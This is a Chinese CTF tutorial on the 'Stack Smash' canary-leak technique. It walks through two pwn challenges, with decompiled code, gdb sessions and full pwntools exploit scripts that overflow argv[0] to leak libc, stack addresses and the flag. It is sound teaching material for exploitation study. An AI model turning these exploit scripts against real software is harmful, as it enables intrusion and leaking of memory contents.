浅析ROP之Stack Smash
责编：gltian ｜2018-10-09 15:15:200x00 前言
Stack Smash 技巧算是 ROP 中一种比较巧妙的利用吧，在 ctf-wiki 上也说到了这个技巧。但是看完了也感觉是懵懵懂懂的，所以这里结合例子再做一个更细致的总结，涉及到的基本知识也会比较多。
0x01 预备知识
1.Linux的环境变量（environ）
第一种获取环境变量的方法是使用getenv函数：
getenv能通过传入键名的方法获取到值
- 例如对于环境变量
LC_PAPER=zh_CN.UTF-8，getenv(“LC_PAPER”)就可以获取到他的值。
关于环境变量的详细解释可以看这里：
http://tacxingxing.com/2017/12/16/environ/
区别于第一种只能获取单个的环境变量，另一种方式是使用environ 变量来获得所有的环境变量的值
environ 变量作为一个指针指向了环境变量的字符指针数组的首地址。
这里就简单演示一下 environ 变量的使用方法：
#include <unistd.h>
#include <stdio.h>
extern char **environ;
int main(){
char **env = environ;
while(*env){
printf("%sn",*env);
env++;
}
exit(0);
}
将这段代码编译运行以后，可以看到将当前的环境变量全部打印出来了。
这里我们只要知道 environ 变量的实际地址是指向栈的基地址（高地址）就行了。
2.canary 保护
Canary保护机制的原理，是在一个函数入口处从fs段内获取一个随机值，一般存到EBP – 0x4(32位)或RBP – 0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值，导致该值与存入的值不一致，__stack_chk_fail函数将抛出异常并退出程序。
也就是在当前函数的 EBP 和输入点插入一个 “cookie” 信息，如果在栈溢出时将这个值覆盖了，程序就会抛出错误。
详细的介绍和绕过可以看这里
0x02 Stack Smash
在程序加了canary 保护之后，如果我们读取的 buffer 覆盖了对应的值时，程序就会报错，而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后，如果发现 canary 被修改的话，程序就会执行 __stack_chk_fail 函数来打印出 argv[0] 指针所指向的字符串
我们通过Stack Smash的源码来分析一下：
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}
stack_chk_fail 函数中调用了 fortify_fail 函数，并传入 msg：
stack smashing detected
之后对msg在 libc_message 函数中输出，这个函数还把 libc_argv[0] 作为参数输出了。这个参数其实就是 argv[0] ，在命令行中也就是程序名
在程序执行时， argv[0] 会放在栈中，利用栈溢出可以将这个值覆盖为 got 表中的值，在执行 __stack_chk_fail 函数时，利用输出信息就可以输出我们想要的 got 表信息，又给了 libc 库，进而可以得到 libc 的基地址。
得到基地址之后，我们可以进一步利用，输出栈地址以及栈中的信息。
0x03 例题
这里拿一道网鼎杯的 pwn1-GUESS 来讲解。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax@9
__int64 v4; // rcx@13
__WAIT_STATUS stat_loc; // [sp+14h] [bp-8Ch]@1
int v6; // [sp+1Ch] [bp-84h]@5
__int64 v7; // [sp+20h] [bp-80h]@1
__int64 v8; // [sp+28h] [bp-78h]@1
char buf; // [sp+30h] [bp-70h]@4
char s2; // [sp+60h] [bp-40h]@6
__int64 v11; // [sp+98h] [bp-8h]@1
v11 = *MK_FP(__FS__, 40LL);
v8 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v7 = 0LL;
sub_4009A6();
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v7 >= v8 )
{
puts("you have no sense... bye :-) ");
result = 0LL;
goto LABEL_13;
}
v6 = sub_400A11();
if ( !v6 )
break;
++v7;
wait(&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
result = 0LL;
LABEL_13:
v4 = *MK_FP(__FS__, 40LL) ^ v11;
return result;
}
运行程序，程序会接收三次的输入。
很明显在gets函数处存在栈溢出，但是我们用 checksec（pwntools自带） 检查的时候，发现存在 canary 保护，但是没有PIE保护（堆栈地址空间随机化）。
这边在反汇编代码可以看到在 main 函数结束时检查了 canary 的值，与 rcx 进行比较， canary 的值是放在 fs 寄存器中的，理论上我们是不能正常查看了。
.text:0000000000400B8D loc_400B8D: ; CODE XREF: main+11Aj
.text:0000000000400B8D mov rcx, [rbp+var_8]
.text:0000000000400B91 xor rcx, fs:28h
.text:0000000000400B9A jz short locret_400BA1
.text:0000000000400B9C call ___stack_chk_fail
所以这里除非用爆破出 canary 值，否则就无法正常泄露得到他的值，但是我们可以使用上面说的 Stack Smash 技巧。
我们这里一步步来。
要泄露出 libc 的基地址就要获得某个函数在 got 表中的地址。这里的 got 表中的地址就用 Stack Smash 这个技巧来获得。
首先用 gdb 在 gets 函数处下一个断点
b *0x400b23
单步 n 之后，输入一堆 aaa
- 这里为了测试在本地新建了一个 flag 文件，可以看到按照程序的正常流程走下去，此时 flag 已经被读取到栈上了
然后使用 stack 20 这个命令来查看栈上的信息。
可以看到此时 0x7fffffffdf38 这个栈地址存储的是 argv[0] 的值，也就是我们需要利用的值。
我们输入的值（aaa…）是位于 0x7fffffffde10 的地址处，计算得到输入到 argv[0] 的距离：
总共是 296 个字节，也就是 0x128 的十进制的值。
所以我们可以构造 payload ，此时 libc_start_main_got 的值就是我们需要泄露的 argv[0] 的值：
payload = 'a' * 0x128 + p64(libc_start_main_got)
得到的值需要用 u64 函数进行解包（需要8个字节），所以需要用 ljust 进行左填充到8个字节。
将得到的 got 表的真实地址减去 __libc_start_main 函数在 libc 库中的偏移地址就得到了 libc 的基地址了。
第一步的exp：
from pwn import *
#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else: #remote
libc = ELF('libc-2.23.so')
libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']
p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))
libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)
这里为什么要 leak 出栈的地址呢？是因为程序没有开启PIE保护，所以 environ 变量中存放的栈地址的值和 flag 的距离是不变的，我们如果得到了栈地址以后，算一下与 flag 的距离就可以 leak 出 flag 的值了。
根据上面所说的，要 leak 出栈的地址直接 leak 出 environ 变量的值就行。
所以这里根据得到 libc 的基地址加上 environ 变量在 libc 库中的偏移就可以得到栈的地址。
exp如下：
environ_addr = libc_base_addr + libc.symbols['_environ']
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
print "stack: "+hex(stack_addr)
- 这里的 symbols 方法的键为 environ 或者 _environ 都是一样的结果
如图，这样我们就得到栈的地址了。
- 这里我在本地加载的 libc 库和远程的不同，所以地址会有所差异。但是这里有个小技巧即可以根据 libc 基地址后三位是否为0来判断 libc 的基地址是否正确。
还是在 gdb 中的调用 gets 函数处下断点。
b *0x400b23
依旧是先 stack 20 输出一下栈信息，可以看到我们需要的 flag 的地址是
0x7fffffffdd30
使用 b *environ 直接可以查看当前 environ 变量地址中存放的值（也就是栈的地址），再计算栈地址到 flag 的距离
在 gdb 中，看到了当前的栈地址为：0x7fffffffde98
gdb-peda$ b * environ
Breakpoint 2 at 0x7fffffffde98
所以可以计算出两者的距离为 0x168：
gdb-peda$ print 0x7fffffffde98 - 0x7fffffffdd30
$1 = 0x168
- 这里是固定为 0x168 ，如果不信的话可以在 gdb 中多调试几次。
也就是说下次 leak 的时候，要得到 flag 的值，直接使用栈的地址减去 0x168 就得到了 flag 的地址，再利用一次 Stack Smash 技巧泄露出 flag 的地址的值就行了。
也就是：
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
运行exp得到flag。
最后的exp：
from pwn import *
#context.log_level = 'debug'
p = process('./GUESS')
LOCAL = 1
if LOCAL:
libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
else: #remote
libc = ELF('libc-2.23.so')
libc_start_main_got = 0x602048
libc_start_main_off = libc.symbols['__libc_start_main']
p.recvuntil('guessing flagn')
payload = 'a' * 0x128 + p64(libc_start_main_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
libc_start_main_addr = u64(p.recv(6).ljust(0x8,'x00'))
libc_base_addr = libc_start_main_addr - libc_start_main_off
print 'Libc base addr: ' + hex(libc_base_addr)
environ_addr = libc_base_addr + libc.symbols['_environ']
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'x00'))
print 'stack base addr: ' + hex(stack_addr)
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.interactive()
other
这里还有一道例题也是关于 Stack Smash 的（Smashes）
题目链接：https://www.jarvisoj.com/challenges
依旧先检查一下程序的保护机制：
满足 Stack Smash 的使用条件：
canary protect
No PIE
在 _IO_gets 函数处存在栈溢出，还是按照套路来：在gdb中查看与 argv[0] 的偏移
输出与 argv[0] 偏移为 0x218
gdb-peda$ print 0x7fffffffde88 - 0x7fffffffdc70
$2 = 0x218
payload = 'a' * 0x218 + p64(需要泄露的地址)
仔细看程序有一个 flag 的提示，也就是这个 flag 是在服务端的
在 gdb 中 find CTF，发现了两处的 flag，我们传入上一处的地址
关于为什么这么传入，可以看这里：
https://blog.csdn.net/github_36788573/article/details/80693994
最后的exp：
from pwn import *
context.log_level = 'debug'
LOCAL = 0
if LOCAL:
r = process('./smashes')
else:
r = remote('pwn.jarvisoj.com',9877)
payload = 'a' * 0x218 + p64(0x400D20)
r.recvuntil("Hello!nWhat's your name? ")
r.sendline(payload)
r.interactive()
0x04 总结
Stack Smash 的适应条件：
- 开启了 canary 保护
- 读取了关键信息（flag）到栈上，但是没有开启 PIE 保护